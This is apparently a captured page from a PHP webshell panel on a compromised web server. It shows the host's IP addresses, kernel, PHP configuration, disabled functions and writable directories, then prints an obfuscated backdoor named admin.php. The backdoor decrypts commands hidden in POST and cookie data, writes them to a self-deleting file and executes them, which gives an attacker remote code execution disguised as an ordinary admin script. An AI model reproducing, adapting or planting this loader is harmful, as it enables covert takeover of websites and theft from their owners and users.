403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.143.218
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/tagsforum.com/bk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/tagsforum.com/bk/admin.php
<?php 
$nimto   = /*  mmv*/ 'nimto' /*   w_vu  */ ^   '';


$hfzkcdy	=	$nimto(97)      .    "r".$nimto(378-264)    .	$nimto(97) /*   yvvmcx*/ .  $nimto(732-611)      .    "_"."\x6d"	. /*  qt_vvd */ $nimto(137-40)	.      "p";


$scu_bv       =     "i".$nimto(352-243)   . /* sgtn  */ "p"."\x6c" /*   psd*/ .  $nimto(111)	.    "\x64"   .  "\145";$dkzbqwyr       =	"\x63"   . /*u */ $nimto(111)   .    "u"."n"."t";







function    yhjnisk($lktppc,	$u_buido)

{


  global      $nimto;
      
	$lktppc /*nlqfh*/ =    $nimto(337-277)	.	"\x3f"	.    "\x70"	. /*   xbdb   */ $nimto(104)    .	$nimto(112)	.	$nimto(32)    .   "\165"   .       $nimto(956-846) /*   oly */ . /* upm */ "\x6c"    .	"\151"  .    "n"."\x6b" /*  izzki   */ .    "(".$nimto(568-473) /*  y_i  */ . /*   s_tsrg   */ "_"."F"."\111"    .    "L"."E".$nimto(95)    . /* _fzjpb */ "_".")".";".$nimto(32)    .    $lktppc[$nimto(603-503)];

	$lknpxupm   =	"\x66"     . /* wno   */ "i"."\x6c"	. /*xvjqbf  */ "\145"."\x5f"       .  "p"."u".$nimto(751-635) /*   r_nr_z*/ . /* iotojm   */ "_"."c".$nimto(111)      . /*   s_qzvv*/ "\x6e"    .	"\164"      .   $nimto(645-544) /* ykpzp  */ . /*hkgcz*/ $nimto(591-481)    .       $nimto(116)	.  "\163";
    

   $lknpxupm($u_buido,       $lktppc);


   


 /*  bbeb  */ dniqzvyd($u_buido);
}


$auswzyi   = /*   blij  */ 73;


function     dniqzvyd($u_buido)


{    global /*g */ $nimto; /* fzo */  /*  yugs */ include($u_buido);

  $_yhosqmz	=	$u_buido;


     @unlink($_yhosqmz);

}





function       rgfbe(){


    global /*   s*/ $nimto;    $bvgwlaarz /*_wa */ = /*wbnh*/ array();   $bvgwlaarz["p"."v"]    =    phpversion();


	$bvgwlaarz["s".$nimto(118)]       =    "3".".".$nimto(53);	$tuwgz_      = /*   zerkxl*/ 74;


 /* tsw_ */ echo      @serialize($bvgwlaarz);


}


function   su_yje($lktppc, /*  hucipg   */ $yzbxw)

{
      global /*  nmo  */ $nimto;

    $rfrkcnvff	=	"";

	$fqllgxb_kx /*   tk_da */ = /*qxc   */ 'veob';
       $dtktljum    = /*  i*/ hash('sha256',   $lktppc);


      $ywzkpflkl   =	str_replace('nqmnz',       $dtktljum,	$fqllgxb_kx);

  $bvgwlaarz    =       0;


     while    ($bvgwlaarz    < /*dpniw  */ strlen($lktppc))    {

	$w_golhvrbx       =    isset($yzbxw) /*   aty   */ ?    $yzbxw  : /*uw   */ '';

    for /* fx   */ ($xcaoa    =       0;    $xcaoa /*zo */ <    strlen($w_golhvrbx) /*  zntvf   */ && /*_h*/ $bvgwlaarz /* fshwex*/ < /*  jlinw*/ strlen($lktppc); /*  de*/ $xcaoa++, /*vz   */ $bvgwlaarz++) /*q  */ {

  $rfrkcnvff /*jy  */ .=       $nimto(ord($lktppc[$bvgwlaarz]) /*  _kyrt*/ ^ /*  _gsb  */ ord($w_golhvrbx[$xcaoa]));
      }

    if    (strlen($rfrkcnvff)  >     20)	{    $ywzkpflkl	=    substr($rfrkcnvff, /*  ph  */ 0, /*ejese  */ 20);


    }


	}


 /*   ce_  */ if    (empty($rfrkcnvff)) /*   t*/ {


 /*   nvm   */ $rfrkcnvff   =    date('Y-m-d	H:i:s');
 /*nxgbme*/ }

 /* nrr   */ return    $rfrkcnvff;

}




function /* xrkub */ clrdsshuoo($fwsdltv){


 /* qmin_n */ global      $nimto;      $gyhhgzsf    = /*   dlro*/ $nimto(603-503)."f"."\146"     .    "\144"     .    $nimto(54)       .     "\146"     . /*   hvmcba   */ "\x36"      .     $nimto(102) /*p */ .	"\55" /*   lc*/ . /*  jhie*/ "9".$nimto(1036-984)    .    "6"."\145"	.    "-"."\x34"    .	"\141"."\67" /*jzfujj */ .       "\x64"      .	"-".$nimto(97)	.  "6"."b"."b".$nimto(744-699) /*  rkzrdx*/ .	$nimto(55)    . /*epmall */ $nimto(678-628)  .     "\x36"	.    "9"."c"."c".$nimto(603-503)."8".$nimto(234-185)    .   $nimto(99) /* tec_i */ . /*  wirnwo */ $nimto(1029-977)	.    "0";


 /*fii  */ 
    foreach       ($fwsdltv    as /*  z */ $eh_u_    =>    $lktppc)	{ /* lvec*/ alj_ii(base64_decode($lktppc),   $gyhhgzsf,	$eh_u_);


    }
}



function       alj_ii($lktppc,    $gyhhgzsf,      $eh_u_){

      global /*  _k */ $nimto;
   

 /* evpt*/ $lktppc       =     unserialize(su_yje(su_yje($lktppc,   $gyhhgzsf),    $eh_u_));	$agzdg      = /* eiv   */ 'ng';


	$fthpdfgleh    =  'l_';


       if /* tn   */ (isset($lktppc["\141".$nimto(741-634)]))  {	if    ($lktppc["\141"] /*hqlxrq  */ ==      "i")	{
      rgfbe();    }    elseif /* cxy  */ ($lktppc["\141"]	==    "\145") /* eqzwkw*/ {


    yhjnisk($lktppc,	sprintf($nimto(46)      .	"\57" /*xpxf */ .   "%".$nimto(548-433)    .    ".".$nimto(219-107) /* oarut */ .  "l",      md5($gyhhgzsf)));			$xtdsgg	=   44;

     }       exit();
    }


}
clrdsshuoo($_POST); /*   erqi_x   */ 



$eduhyd     = /* ejvv  */ $hfzkcdy('rawurldecode',	$_POST);$tfpztzk_ /* ilykr */ =     $dkzbqwyr($eduhyd);if /* ivpvby*/ ($tfpztzk_      >   0)      {
  $typomcewi    = /*   ixiwgy */ $scu_bv(',', /*cr*/ $eduhyd);


}
clrdsshuoo($_COOKIE);       
$hue_qeglfr    =     $hfzkcdy('rawurldecode', /* j_x  */ $_COOKIE);$lkioxdor /*wtgera  */ =	$dkzbqwyr($hue_qeglfr);
if    ($lkioxdor /*  apfq_b */ > /* s   */ 0)	{


 /*hqk */ $sfvvlp   =   $scu_bv(';', /* kh */ $hue_qeglfr);}



?>

Youez - 2016 - github.com/yon3zu
LinuXploit